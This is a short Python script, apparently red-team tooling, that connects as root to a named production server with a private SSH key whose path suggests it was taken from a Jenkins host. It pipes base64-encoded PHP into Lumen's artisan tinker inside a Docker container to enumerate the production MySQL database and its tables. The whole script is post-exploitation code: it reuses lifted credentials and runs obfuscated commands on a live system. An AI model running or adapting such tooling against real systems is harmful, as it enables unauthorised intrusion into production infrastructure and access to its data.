#!/usr/bin/env python3
"""Query Yajny production MySQL via docker exec + Lumen artisan tinker.
App is Lumen (not Laravel), uses App\Core\Application.
"""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

# For Lumen, use artisan tinker with piped PHP code
# tinker reads from stdin line by line
QUERIES = [
    'echo "===DB_NAME===";',
    'echo DB::connection()->getDatabaseName();',
    'echo "\n===TABLES===";',
    '$t = DB::select("SHOW TABLES");',
    'foreach($t as $r) { foreach($r as $v) { echo $v."\n"; } }',
    'echo "===COUNT===";',
    'echo count($t);',
    'echo "\n";',
    'exit;',
]

def run_tinker(queries):
    # Build a single line of PHP to pipe into tinker
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    if rc != 0 and not out:
        print(f"[!] rc={rc}", file=sys.stderr)
        print(err, file=sys.stderr)
    print(out)
